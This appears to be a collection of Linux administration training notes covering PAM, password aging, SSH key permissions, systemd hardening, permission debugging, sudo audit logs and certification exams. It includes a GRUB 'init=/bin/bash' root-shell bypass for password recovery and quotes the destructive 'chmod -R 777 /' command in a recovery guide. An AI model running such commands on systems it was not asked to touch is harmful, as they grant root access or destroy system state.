<html><code>pam_unix.so</code></html> handles standard Unix password authentication. <html><code>pam_deny.so</code></html> always denies (used to blackhole accounts). <html><code>pam_permit.so</code></html> always permits (rarely used). <html><code>pam_wheel.so</code></html> restricts <html><code>su</code></html> to members of the wheel group. <html><code>pam_limits.so</code></html> applies resource limits from <html><code>/etc/security/limits.conf</code></html>. <html><code>pam_faillock.so</code></html> locks accounts after N failed login attempts (modern replacement for <html><code>pam_tally2.so</code></html>). <html><code>pam_pwquality.so</code></html> enforces password complexity requirements (minimum length, character classes). <html><code>pam_google_authenticator.so</code></html> provides TOTP-based two-factor authentication. Most systems stack multiple modules — a login flow might require <html><code>pam_unix</code></html> (password), then <html><code>pam_faillock</code></html> (rate limiting), then <html><code>pam_limits</code></html> (resource enforcement). The order and control flags determine whether all modules must succeed or if one can override others.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/primer.md</code></html>
''Related atoms''
* [[What is PAM?]]
* [[What is `pam_limits`?]]
* [[How do you configure PAM to enforce password complexity and lock accounts after failed …]]
Password complexity is enforced via <html><code>/etc/security/pwquality.conf</code></html>: <html><code>minlen = 12</code></html> sets minimum length, <html><code>dcredit = -1</code></html> requires at least one digit, <html><code>ucredit = -1</code></html> requires uppercase, <html><code>lcredit = -1</code></html> requires lowercase, <html><code>ocredit = -1</code></html> requires special character, <html><code>usercheck = 1</code></html> rejects passwords containing the username, <html><code>maxrepeat = 3</code></html> prevents three consecutive identical characters. Password aging (expiration, minimum/maximum days between changes, inactive period) is set per-user via the <html><code>chage</code></html> command, which reads defaults from <html><code>/etc/login.defs</code></html>. Examples: <html><code>chage -M 90 deploy</code></html> sets maximum password age to 90 days; <html><code>chage -d 0 deploy</code></html> forces password reset on next login (used for new accounts); <html><code>chage -E 2026-12-31 contractor</code></html> sets account expiry. Review aging with <html><code>chage -l username</code></html>. These policies ensure credentials are not static or weak and reduce risk of leaked or guessed passwords.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/primer.md</code></html>
''Related atoms''
* [[What is `chage` used for?]]
* [[What is /etc/login.defs used for in security?]]
* [[Overly strict password rules drive users to weaker patterns]]
SSH is extremely strict about file permissions for keys and config files. <html><code>~/.ssh</code></html> directory must be <html><code>700</code></html> (rwx------), private keys <html><code>600</code></html> (rw-------), public keys and config files <html><code>644</code></html> (rw-r--r--), and <html><code>authorized_keys</code></html> must be <html><code>600</code></html>. Wrong permissions cause silent refusal — SSH will not use an improperly permissioned private key even if it's readable only to you, and will refuse to trust an <html><code>authorized_keys</code></html> file that's world-readable. This strictness prevents accidental key exposure: a shared home directory or overpermissive backup might accidentally expose keys, so SSH catches it. A common footgun: copying a key from another machine and not correcting the directory permissions — the <html><code>~/.ssh</code></html> directory might inherit <html><code>700</code></html> from the source but <html><code>authorized_keys</code></html> inside might be <html><code>644</code></html>. SSH silently refuses until the permissions are fixed. Always verify with <html><code>ls -la ~/.ssh/</code></html> and <html><code>ls -la ~/.ssh/authorized_keys</code></html> when debugging login failures.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/primer.md</code></html>
''Related atoms''
* [[chmod 777 grants world-writable access to all files]]
* [[What is SSH key-based authentication?]]
* [[You have configured an RSA key login but your server show `Server refused our key` as e…]]
A service account is a special Unix user account for running a background service. Create it with <html><code>useradd -r -s /sbin/nologin -d /opt/myservice -m myservice</code></html>: the <html><code>-r</code></html> flag marks it as system-reserved, <html><code>-s /sbin/nologin</code></html> makes it non-interactive and ineligible for login, <html><code>-d</code></html> sets the home directory, <html><code>-m</code></html> creates it. Set restrictive ownership and permissions: <html><code>chown -R myservice:myservice /opt/myservice</code></html> and <html><code>chmod 750 /opt/myservice</code></html>. Secret files (API keys, database passwords) should be owned by the service user with <html><code>600</code></html> permissions: <html><code>chown myservice:myservice /opt/myservice/secrets.env && chmod 600 /opt/myservice/secrets.env</code></html>. This isolation prevents the service from reading other users' data and limits lateral movement if the service is compromised. Systemd units should run the service as the dedicated user with <html><code>User=myservice</code></html> and hardening directives like <html><code>NoNewPrivileges=yes</code></html> and <html><code>ProtectHome=yes</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/primer.md</code></html>
''Related atoms''
* [[Systemd hardening directives enforce permission and filesystem isolation]]
* [[User accounts can be service accounts with external dependencies]]
* [[Diagnosing permission failures in systemd services]]
Beyond traditional Unix permissions, systemd units enforce additional security boundaries via service directives. <html><code>ProtectSystem=strict</code></html> makes the root filesystem read-only except for paths listed in <html><code>ReadWritePaths</code></html> (prevents the service from modifying OS files). <html><code>ProtectHome=yes</code></html> hides <html><code>/home</code></html> and <html><code>/root</code></html> from the service (prevents reading other users' data). <html><code>PrivateTmp=yes</code></html> gives the service its own isolated <html><code>/tmp</code></html> directory (prevents temp-file attacks or information leakage via <html><code>/tmp</code></html>). <html><code>UMask=0027</code></html> controls default permissions on files the service creates. <html><code>NoNewPrivileges=yes</code></html> prevents the service from gaining capabilities beyond its initial set (prevents exploitation of SUID binaries). Set <html><code>User=myservice</code></html> and <html><code>Group=myservice</code></html> to enforce the service account principle. Example: a web service with <html><code>ProtectSystem=strict</code></html>, <html><code>ProtectHome=yes</code></html>, <html><code>PrivateTmp=yes</code></html>, and <html><code>ReadWritePaths=/var/lib/myservice</code></html> can only write to its designated directory and <html><code>/tmp</code></html>, mitigating the blast radius of compromise.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/primer.md</code></html>
''Related atoms''
* [[Service account setup isolates privilege and protects secrets]]
* [[Diagnosing permission failures in systemd services]]
* [[How kernel permission checks work and when to use capabilities]]
When a process can't access a file, check systematically: (1) What user is the process running as? Check <html><code>ps aux</code></html> or the systemd unit <html><code>User=</code></html>. (2) What are the file permissions? Use <html><code>ls -la /path/to/file</code></html>. (3) Does every directory in the path have execute permission? Every parent directory from root to the target requires <html><code>x</code></html> permission for traversal. (4) Are there ACLs overriding standard permissions? Use <html><code>getfacl /path/to/file</code></html>. (5) Is SELinux/AppArmor blocking access? Check <html><code>getenforce</code></html> and <html><code>aa-status</code></html>; search <html><code>/var/log/audit.log</code></html> or <html><code>/var/log/syslog</code></html>. (6) Are mount options restricting access (noexec, nosuid, ro)? Check <html><code>mount | grep /path</code></html>. (7) Is the filesystem full? Use <html><code>df -h /path</code></html>. Use <html><code>namei -l /path/to/file</code></html> as a one-liner to trace the entire permission chain — it shows ownership and permissions for every directory component, instantly identifying the bottleneck (e.g., a parent directory owned by a group the user isn't in).
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/primer.md</code></html>
''Related atoms''
* [[Diagnosing permission failures in systemd services]]
* [[auditd operates at kernel level with rule-based logging]]
* [[ACL debugging: overrides and masks silently restrict access]]
When the root password is lost or sudo is misconfigured, physical or VM access allows recovery. At the GRUB menu, press <html><code>e</code></html> to edit the boot entry, find the <html><code>linux</code></html> or <html><code>linuxefi</code></html> line, append <html><code>init=/bin/bash</code></html>, and press <html><code>Ctrl+X</code></html> to boot. You drop into a root shell, but the root filesystem is mounted read-only. Remount it read-write: <html><code>mount -o remount,rw /</code></html>. Then reset the root password (<html><code>passwd root</code></html>), fix sudoers (<html><code>visudo</code></html>), or unlock users. Finally, <html><code>sync</code></html> and <html><code>exec /sbin/init</code></html> to cleanly reboot. For cloud instances (AWS, GCP, Azure), GRUB is inaccessible; instead: (1) stop the instance, (2) detach the root volume, (3) attach it to a working instance as secondary storage, (4) mount the filesystem and <html><code>chroot</code></html> into it, (5) make the fixes, (6) <html><code>umount -R</code></html> and reattach to the original instance. This recovery path requires physical access or cloud console access — it cannot be done remotely without these privileges.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/street_ops.md</code></html>
''Related atoms''
* [[Regaining access to a server with lost credentials]]
* [[What can you do if you lost/forgot the root password?]]
An account can be blocked for many reasons; diagnose systematically. (1) Does the account exist? <html><code>id baduser</code></html> returns 'no such user' if not. (2) Is the password locked? <html><code>grep baduser /etc/shadow</code></html> shows <html><code>!</code></html> or <html><code>*</code></html> prefix if locked; unlock with <html><code>usermod -U baduser</code></html>. (3) Is the account or password expired? <html><code>chage -l baduser</code></html> shows dates; extend with <html><code>chage -E -1</code></html> (remove expiry) or <html><code>chage -E 2027-12-31</code></html>. (4) Is the shell nologin? <html><code>grep baduser /etc/passwd</code></html> shows the shell; change with <html><code>usermod -s /bin/bash baduser</code></html>. (5) Are PAM rules denying access? Check <html><code>/etc/security/access.conf</code></html> and <html><code>/etc/pam.d/</code></html> for deny lines. (6) Is SSH restricting the user? Check <html><code>sshd_config</code></html> for <html><code>AllowUsers</code></html>, <html><code>DenyUsers</code></html>, <html><code>AllowGroups</code></html>. (7) Is faillock active (too many failed attempts)? <html><code>faillock --user baduser</code></html> shows locked attempts; reset with <html><code>faillock --user baduser --reset</code></html>. Address the applicable restriction and test login. The first successful check usually identifies the culprit.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/street_ops.md</code></html>
''Related atoms''
* [[How do you lock a user account?]]
* [[Ordinary users are able to read `/etc/passwd`. Is it a security hole? Do you know other…]]
* [[Common PAM modules for authentication, policy, and hardening]]
Find and audit file ownership anomalies and permission gaps. Use <html><code>find / -perm -4000 -type f</code></html> to find SUID binaries (unexpected ones are privilege escalation vectors or malware). Use <html><code>find / -perm -2000 -type f</code></html> for SGID binaries. Use <html><code>find / -perm -0002 -type f</code></html> to find world-writable files (dangerous — anything can modify them). Use <html><code>find / -perm -0002 ! -perm -1000 -type d</code></html> to find world-writable directories without sticky bit (worse: anyone can delete anyone else's files). Use <html><code>find / -nouser</code></html> and <html><code>find / -nogroup</code></html> to find orphaned files (arise from deleted users or incomplete uninstalls). Skip pseudo-filesystems with <html><code>-path /proc -prune -o -path /sys -prune -o</code></html>. Audit home directory permissions (should be <html><code>700</code></html>); audit <html><code>.ssh</code></html> directories (must be <html><code>700</code></html>, keys <html><code>600</code></html>). Audit service account permissions (<html><code>/opt/service</code></html> should be <html><code>750</code></html>, owned by the service user). Create a baseline by running these audits quarterly and triggering alerts on changes.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/street_ops.md</code></html>
''Related atoms''
* [[Auditing SUID and SGID binaries for privilege escalation]]
* [[Detecting System Compromise: Rootkits and Binary Integrity]]
When a user has group access but still gets 'Permission denied', check for ACLs. Use <html><code>getfacl /path/to/file</code></html> to display ACLs. A named-user ACL entry (<html><code>user:baduser:---</code></html>) explicitly denies that user and overrides the group permission — not obvious without <html><code>getfacl</code></html>. The ACL mask field also silently restricts effective permissions: even if the group ACL says <html><code>rw-</code></html>, a mask of <html><code>r--</code></html> limits actual access to read-only. Debug the full path with <html><code>namei -l /opt/project/subdir/file</code></html>: if any directory lacks execute permission for the user, traversal fails immediately. For example, a parent directory with <html><code>750</code></html> owned by group <html><code>devteam</code></html> blocks users not in <html><code>devteam</code></html>, regardless of file-level permissions. Fix restrictive ACL entries with <html><code>setfacl -x u:baduser /path</code></html> and masks with <html><code>setfacl -m m::rw- /path</code></html>. Grant traversal permission with <html><code>setfacl -m u:user:x /directory</code></html>. Use <html><code>setfacl -d -m</code></html> to set default ACLs on directories, applied to new files.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/street_ops.md</code></html>
''Related atoms''
* [[Explain Access Control Lists (ACLs) with getfacl and setfacl]]
* [[Systematic permission debugging from filesystem root to target file]]
* [[Permission-setting anti-patterns]]
Every sudo invocation is logged to syslog (<html><code>/var/log/auth.log</code></html> on Debian, <html><code>/var/log/secure</code></html> on RHEL). Search with <html><code>grep 'sudo:' /var/log/auth.log | grep COMMAND</code></html> to review executed commands; each entry includes the user, TTY, working directory, target user, and full command. Failed sudo attempts also appear: <html><code>grep 'NOT in sudoers'</code></html> for denied users (potential security probes), wrong passwords, or authentication failures. Log entries follow a format: <html><code>Mar 15 10:45:22 server01 sudo: deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/usr/bin/systemctl restart nginx</code></html>. On systems with persistent journaling, use <html><code>journalctl _COMM=sudo --since yesterday</code></html> to retrieve the same audit trail. If auditd is enabled, <html><code>ausearch -m USER_CMD --start yesterday -i</code></html> provides kernel-level tracing. This audit trail is essential for post-incident forensics (who ran what when?), compliance audits, and detecting unauthorized privilege escalation. Implement log rotation and long-term retention (syslog forwarding, ELK, Splunk) for compliance and forensic depth.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/primer.md</code></html>
* <html><code>training/library/topics/linux-users-and-permissions/street_ops.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[auditd: kernel-level security audit logging for Linux]]
Running <html><code>chmod -R 777 /</code></html> or <html><code>chmod -R 644 /var</code></html> destroys system state quickly. SUID/SGID bits on critical binaries (su, sudo, passwd, ping) are stripped, causing them to fail immediately. The fix requires surgical restoration of critical files and then leveraging the package manager for comprehensive recovery. For <html><code>chmod -R 777 /</code></html> damage, immediately restore: SUID bits on <html><code>sudo</code></html>, <html><code>su</code></html>, <html><code>passwd</code></html>, <html><code>newgrp</code></html>; file permissions on <html><code>/etc/shadow</code></html>, <html><code>/etc/gshadow</code></html>, <html><code>/etc/passwd</code></html>, <html><code>/etc/group</code></html>, <html><code>/etc/sudoers</code></html>; directory permissions on <html><code>/root</code></html> and <html><code>/tmp</code></html>; SSH keys and <html><code>authorized_keys</code></html>. If SSH access is compromised, restore SSH host key permissions. The most reliable recovery is to reinstall affected packages via the package manager: Debian uses <html><code>dpkg --verify</code></html> to identify corrupted files and <html><code>apt-get install --reinstall</code></html> to restore them; RHEL uses <html><code>rpm -Va</code></html> and <html><code>yum reinstall</code></html>. For <html><code>chmod -R 644 /var</code></html> damage (directories lose execute bit and become inaccessible), fix: restore execute on all directories in <html><code>/var</code></html> using <html><code>find -type d -exec chmod +x</code></html>, then restore known good permissions on <html><code>/var/tmp</code></html>, <html><code>/var/log</code></html>, <html><code>/var/run</code></html>, <html><code>/var/lib</code></html>, and finally verify with the package manager. The key principle: package manager state snapshots are the source of truth for system file permissions.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/street_ops.md</code></html>
''Related atoms''
* [[Other admin trying to debug a server accidentally typed: `chmod -x /bin/chmod`. How to …]]
* [[Indiscriminately removing SUID breaks essential system functions]]
* [[A user accidentally executed the following chmod -x $(which chmod). How to fix it?]]
When files on an NFS share show wrong ownership or appear as "nobody:nogroup" on the client, the cause is usually UID mismatch between client and server. The UID exists on the server but has no local mapping on the client. For NFSv4, the <html><code>nfs-idmapd</code></html> daemon handles name-to-UID mapping; it must be running and configured with the same domain on both client and server (<html><code>/etc/idmapd.conf [General] Domain = example.com</code></html>). Verify UID existence with <html><code>id 1000</code></html> on the client; if it returns nothing, the mapping doesn't exist. Check NFS mount options with <html><code>mount | grep nfs</code></html> and verify <html><code>idmapd</code></html> is running with <html><code>systemctl status nfs-idmapd</code></html>. The <html><code>root_squash</code></html> export option maps UID 0 to nobody—this is normal and desired for security. The dangerous option is <html><code>all_squash</code></html>, which maps all users to nobody or the configured <html><code>anonuid/anongid</code></html>. To fix: either ensure UIDs/GIDs match between systems or use centralized identity (LDAP/SSSD). For NFSv4, verify domain consistency and restart <html><code>idmapd</code></html>. Clear the client's idmap cache with <html><code>nfsidmap -c</code></html>. The distinction: stable identity for individual files requires matching UIDs; shared directory access via <html><code>all_squash</code></html> with <html><code>anonuid</code></html> is acceptable only for intentionally non-owner-mapped directories.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/street_ops.md</code></html>
When a systemd service fails with permission-denied errors, systematic diagnosis requires checking the user/group the service runs as, verifying actual file access, and analyzing the full path chain. First, check the service user and group with <html><code>systemctl show myapp.service -p User -p Group</code></html>. Then test file access as that user: <html><code>sudo -u myapp test -r /path/to/file && echo OK || echo DENIED</code></html>. If access fails, use <html><code>namei -l /full/path/to/file</code></html> to display each directory in the chain with its permissions, identifying which directory lacks execute bits for the service user. Commonly, a parent directory is owned by root with 700 permissions, blocking the service user entirely. Fix directory permissions so the service user can traverse the path. Also check systemd hardening directives with <html><code>systemctl show myapp.service | grep Protect</code></html>; directives like <html><code>ProtectSystem=strict</code></html> restrict filesystem access. If the service needs to write to a directory, explicitly allow it with <html><code>ReadWritePaths=/var/lib/myapp</code></html>. SELinux context issues also cause permission failures even with correct Unix permissions; verify with <html><code>ls -laZ</code></html> and restore contexts with <html><code>restorecon -Rv</code></html>. The root cause is almost always missing execute permission on a parent directory or conflicting systemd hardening, not the file itself.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/street_ops.md</code></html>
''Related atoms''
* [[Systemd hardening directives enforce permission and filesystem isolation]]
* [[Systematic permission debugging from filesystem root to target file]]
* [[Overly permissive file permissions expose data to every user on the system]]
Automating user creation ensures consistency in shell, groups, home directory permissions, and SSH setup across large batches of accounts. A provisioning script should: verify or create the user group first, then iterate through a list (often CSV) creating users with <html><code>useradd -m -s /bin/bash -G group1,group2 -c "Full Name" -e YYYY-MM-DD username</code></html>. The <html><code>-m</code></html> flag creates the home directory; <html><code>-e</code></html> sets an expiry date for time-limited access. After creation, set a temporary password and force change on first login with <html><code>echo user:TempPass123 | chpasswd</code></html> and <html><code>chage -d 0 user</code></html>. Ensure home directory permissions are restrictive (<html><code>chmod 750</code></html>) since user data is sensitive. Create standard subdirectories like <html><code>.ssh</code></html> with 700 permissions, and chown them to the new user. This approach scales to 50+ users reliably and documents the configuration as code. Combine with LDAP or Active Directory for centralized authentication and automated password policies. The script can validate existing users, skip duplicates, and generate a completion report. This pattern eliminates manual typos, missing groups, or permission errors.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/street_ops.md</code></html>
''Related atoms''
* [[How to add a new user to the system without providing a password?]]
* [[How to add new user without using `useradd`/`adduser` commands?]]
* [[Do you know how to create a new user without using adduser/useradd command?]]
A syntax error in <html><code>/etc/sudoers</code></html> blocks all sudo access immediately. The error typically appears as <html><code>parse error in /etc/sudoers near line X</code></html>. If a root shell is open, use <html><code>visudo</code></html> to edit the file—it validates syntax before saving and prevents lockout. If no root shell exists, use <html><code>pkexec visudo</code></html> (if PolicyKit is available) to regain access. As a last resort, boot into single-user mode and edit the file directly. If the error is in a drop-in file like <html><code>/etc/sudoers.d/custom</code></html>, simply remove or rename the offending file with <html><code>pkexec rm /etc/sudoers.d/broken-file</code></html>. Always use <html><code>visudo</code></html> for manual edits, never direct text editors. To automate sudoers changes safely: validate the syntax first with <html><code>visudo -cf /tmp/fragment</code></html>, check the output for "parsed OK," only then copy to <html><code>/etc/sudoers.d/</code></html> with 440 permissions. The principle: <html><code>visudo</code></html> is the only safe editor because it checks syntax and ensures the original file is not locked out if validation fails. Direct editing, even for automation, risks catastrophic lockout.
----
''Sources''
* <html><code>training/library/topics/linux-users-and-permissions/street_ops.md</code></html>
''Related atoms''
* [[What is the correct way to edit the sudoers file?]]
* [[What is sudo? How do you set it up?]]
* [[What does the sudo command do?]]
The LFCS (Linux Foundation Certified System Administrator) exam runs for 2 hours and presents approximately 25 practical tasks on a live Linux system. Unlike theoretical exams, LFCS tests your ability to perform real operations: editing config files with vim, managing systemd services, configuring firewalls (both iptables and ufw), and modifying system state. Success requires three things: command-line fluency (especially vim), familiarity with both major distro families (Debian and RHEL tooling), and methodical verification after each task. The exam provides man page access, so memorization of every flag is unnecessary; instead, prepare by practicing the core domains — essential commands, system management, user administration, networking, storage, and service configuration. Under time pressure, the most dangerous mistakes are moving too fast: read each task twice, verify your work before moving on, and do not attempt to optimize for time at the cost of correctness.
----
''Sources''
* <html><code>training/library/topics/lpic-lfcs/primer.md</code></html>
''Related atoms''
* [[LPIC-1 certification tests Linux theory with precision and distro neutrality]]
* [[Tell me about your Linux experience.]]
The LPIC-1 credential is split across two exams (101-500 and 102-500), each consisting of multiple-choice and fill-in-the-blank questions. Unlike LFCS, LPIC-1 tests your theoretical knowledge: command-line syntax, system concepts, and the ability to recall exact flags and tool names. Preparation differs accordingly — you cannot reference man pages during the exam, so fill-in-the-blank questions demand precision. The exam draws from both Debian and RHEL ecosystems equally, so you must know both package managers (apt vs yum), both boot systems, and both networking tooling. LPIC-1 and LFCS serve different resume purposes: LFCS proves you can administer a live system under pressure (credible for operations roles), while LPIC-1 proves you understand the theory deeply (credible for system design and architecture discussions). For ops-focused careers, LFCS is typically the higher-signal credential because the exam format matches the job; for infrastructure engineering or architect interviews, LPIC-1 demonstrates the breadth of knowledge expected.
----
''Sources''
* <html><code>training/library/topics/lpic-lfcs/primer.md</code></html>
''Related atoms''
* [[LFCS exam is a hands-on, time-constrained system administration test]]
* [[Package manager dependency resolution strategies differ between apt and dnf]]
* [[What are CIS Benchmarks, and what categories do they cover for Linux hardening?]]
A hard link points directly to an inode — the kernel structure that holds file data. A soft link (symlink) points to a path name. This difference matters in three ways: First, hard links cannot cross filesystem boundaries and cannot link to directories; soft links can do both. Second, hard links survive if the original file is renamed or moved; soft links break because the path they reference no longer exists. Third, deleting a hard link leaves the original intact; deleting a soft link leaves the target untouched. Hard links are appropriate when you want the same file accessible from multiple paths and you need it to survive renaming. Soft links are appropriate when you want a shortcut or alias that is allowed to break (e.g., <html><code>/usr/bin/python</code></html> → <html><code>/usr/bin/python3.10</code></html>). Understanding this distinction is essential for predictable behavior in backup workflows, configuration links, and filesystem maintenance. The mnemonic is useful: hard links are married to the inode; soft links are just following a name tag.
----
''Sources''
* <html><code>training/library/topics/lpic-lfcs/street_ops.md</code></html>
''Related atoms''
* [[Hard links vs symbolic links: inode perspective]]
* [[True or False? You can create a soft link between different filesystems.]]
* [[True or False? You can create an hard link for a directory]]
Finding files with the SUID bit set is a common exam and security audit task. The command <html><code>find / -perm -4000</code></html> finds SUID files, but the <html><code>-</code></html> prefix is critical: it means 'at least these bits set,' not 'exactly these bits.' Without the <html><code>-</code></html>, the command <html><code>find / -perm 4000</code></html> searches for files with exactly permission <html><code>4000</code></html> and nothing else, which is almost never what you want. This is a common trap because file permissions usually accumulate (a file might have <html><code>755</code></html> or <html><code>6755</code></html> or other combinations), and most files with SUID also have read and execute bits set. The rule is: when searching for permission bits that might coexist with others, use the <html><code>-</code></html> prefix to mean 'at least these bits.' This applies to SUID (<html><code>4000</code></html>), SGID (<html><code>2000</code></html>), and the sticky bit (<html><code>1000</code></html>). Understanding this nuance prevents silent failures where a search appears to run but returns no results, leading to false negatives in security audits.
----
''Sources''
* <html><code>training/library/topics/lpic-lfcs/street_ops.md</code></html>
''Related atoms''
* [[What this command does? chmod +x some_file]]
* [[What does the following permissions mean?:]]
* [[What does chmod 755 filename do?]]
The kernel is the privileged operating system — a single binary (<html><code>vmlinuz</code></html>) loaded at boot that manages hardware, memory, processes, filesystems, and networking entirely in ring 0. Userspace is everything else: shells, system utilities, the C standard library, daemons, and applications. Userspace code runs without privilege and communicates with the kernel exclusively through system calls (syscalls) — there is no other path. A distribution is a curated bundle combining a kernel, a userspace stack, a package manager (apt, dnf, apk), an init system (systemd, OpenRC), and default configurations. Two machines with the same kernel but different distros (e.g., Ubuntu and Alpine) differ only in userspace tools and opinions, not in how the OS fundamentally operates. Containers share the host's kernel entirely; the "distro" inside a container is just the userspace layer, instantiated from a base image. This three-way split explains why distro choice has bounded consequence — the syscall interface is the same across all distributions.
----
''Sources''
* <html><code>training/library/topics/mental-models-core/linux-kernel-userspace-distro.md</code></html>
''Related atoms''
* [[The Linux kernel: what it is and how it works]]
* [[What is a Linux distribution (distro)?]]
* [[Kernel space vs. user space in Linux]]
Only kernel code runs in privileged ring 0; all userspace code runs unprivileged and cannot directly access hardware or other processes. The only way userspace reaches the kernel is through syscalls — a well-defined interface for asking the kernel to do privileged work on your behalf (open a file, allocate memory, send a packet). Distro choice primarily affects three things: the package manager (which tool and repository format delivers software), the init system (how the system boots and supervises long-running services), and default configurations and release cadence. The syscall interface itself is standardized across all distributions — your code doesn't need to know or care which distro it's running on, only that it can make syscalls. Containers share the host's kernel and therefore share the host's syscall interface and privilege model; isolation comes from namespaces and cgroups, not from a private kernel. This means a container cannot work around kernel limitations or bugs by running a different distro — distro choice cannot change the fundamental kernel behavior your code sees.
----
''Sources''
* <html><code>training/library/topics/mental-models-core/linux-kernel-userspace-distro.md</code></html>
''Related atoms''
* [[Linux kernel features that enable containers]]
* [[Kernel space vs. user space in Linux]]
"Linux" is used to mean the kernel alone, the kernel-plus-userspace stack, or the entire distribution, depending on context. This ambiguity compounds because kernel versioning and distro versioning are independent — Ubuntu 22.04 ships with kernel 5.15 by default but can run kernel 6.x without becoming a different distro. Two machines can run kernel 6.1.0 and still have completely different userspace stacks, package managers, and init systems. This independence makes it impossible to infer distro details from a kernel version number, or vice versa. The confusion deepens in containerization: a container running Alpine Linux and one running Debian Linux both share the host kernel (same version number), but their userspace internals are entirely different. Clarity requires distinguishing: which piece are you talking about — the kernel, the userspace, or the distribution wrapper?
----
''Sources''
* <html><code>training/library/topics/mental-models-core/linux-kernel-userspace-distro.md</code></html>
''Related atoms''
* [[Alpine and Ubuntu in containers are userspace differences, not OS differences]]
* [[The kernel is the privilege boundary; syscalls are the API]]
* [[What is a Linux distribution (distro)?]]
Three common misconceptions misdirect troubleshooting and design. First, Alpine Linux and Ubuntu are not different operating systems when running as containers — both use the host's kernel. Their difference is userspace only: Alpine uses musl libc and apk, Ubuntu uses glibc and apt. If a feature depends on kernel behavior (scheduling, memory overcommit, seccomp), changing distros won't help. Second, kernel version is not distro version — an old distro release can run a new kernel, and vice versa. Confusing them leads to wrong conclusions about feature availability or behavior. Third, distro choice does not fundamentally change how Linux works. The kernel's privilege model, syscall interface, and core abstractions (processes, filesystems, networking, cgroups) are identical across all distributions. Choosing Alpine to save image size is valid; choosing it to "fix" a kernel issue is not.
----
''Sources''
* <html><code>training/library/topics/mental-models-core/linux-kernel-userspace-distro.md</code></html>
''Related atoms''
* [[Linux terminology overloads kernel, userspace, and distro into one word]]
* [[Independent distros offer specialized niches and philosophies]]
Linux permission semantics are built from four distinct mechanisms, often conflated as 'permissions.' Mode bits (rwx) apply to three categories—owner, group, and other—and are stored in the inode alongside three special bits (setuid, setgid, sticky); nine bits for access, three for special behavior. Ownership (uid/gid) determines which category a process matches when accessing a file. ACLs (Access Control Lists) extend mode bits with per-user and per-group entries, stored as extended attributes (xattr) and checked after ownership matching; they provide finer granularity than the three-category model. Capabilities decompose root's privileges into ~60+ fine-grained powers (CAP_NET_BIND_SERVICE, CAP_SYS_ADMIN, etc.), attached to processes or executables, enabling least-privilege operation without setuid. A 'permission denied' error could originate from any of these systems, or SELinux/AppArmor layered on top.
----
''Sources''
* <html><code>training/library/topics/mental-models-core/permissions-modes-ownership-acls-capabilities.md</code></html>
''Related atoms''
* [[Permission-setting anti-patterns]]
* [[What are Linux capabilities?]]
* [[Capabilities vs setuid?]]
The kernel checks permissions in order: is the process uid 0 (root)? → does uid match file owner? → does gid match file gid? → 'other' category. ACLs insert additional checks between owner and other. The setuid bit, when set on an executable, runs the process with the file owner's uid as effective uid; setgid does the same for gid. This pattern is now superseded by capabilities, which grant specific privileges without full root: instead of making a web server binary setuid-root to bind port 80, grant it CAP_NET_BIND_SERVICE only. The sticky bit on directories allows only the file owner, directory owner, or root to delete entries; used on /tmp to prevent users from deleting others' files. The umask is applied at file //creation// time and does not retroactively change existing permissions; it masks bits away from the requested mode.
----
''Sources''
* <html><code>training/library/topics/mental-models-core/permissions-modes-ownership-acls-capabilities.md</code></html>
''Related atoms''
* [[Permission-setting anti-patterns]]
* [[Explain what is setgid and setuid]]
Using <html><code>chmod 777</code></html> to fix permission errors removes all access control without diagnosing the root issue; it treats the symptom instead of the cause. When an ACL exists on a file, the group and other mode bits become the ACL mask and are effectively overridden; ignoring this causes confusing access restrictions that seem to contradict the mode bits. File capabilities (queried with <html><code>getcap</code></html>) are distinct from process capabilities (shown in <html><code>/proc/PID/status</code></html>); confusing them leads to debugging in the wrong place. The kernel ignores setuid on interpreted scripts (shells, Python, Perl) as a security measure: the shebang line is interpreted by the parent shell's context, not the script's process, so setuid never propagates to the actual interpreter. Always diagnose permission errors by understanding which system is denying access, not by blanket permission widening.
----
''Sources''
* <html><code>training/library/topics/mental-models-core/permissions-modes-ownership-acls-capabilities.md</code></html>
''Related atoms''
* [[How kernel permission checks work and when to use capabilities]]
* [[Special permission bits require explicit leading octal digit in chmod]]
* [[Four Linux access-control systems]]
A program is a static executable file on disk—just bytes, no state. A process is a running instance of a program created by fork() + exec(); it has a PID, address space, open file descriptors, environment variables, and state (running, sleeping, zombie, etc.). A service is a process or set of processes managed by an init system; typically systemd tracks it via a unit file, handles start, stop, and restart operations, and can auto-restart on failure. These three layers are often conflated in everyday language—'restart the program,' 'the service crashed,' 'kill the process'—but they mean different things. Conflating them obscures which layer is being discussed: whether you're reloading bytes from disk, stopping one running instance, or interacting with the system's manager. Understanding this distinction clarifies why some operations (like HUP signals) restart a process but not a service, and why systemd might restart a crashed process without you asking.
----
''Sources''
* <html><code>training/library/topics/mental-models-core/process-program-service.md</code></html>
''Related atoms''
* [[What is systemd and how does it manage Linux services?]]
* [[A systemd unit shows "active (running)" but the actual service process is dead. How?]]
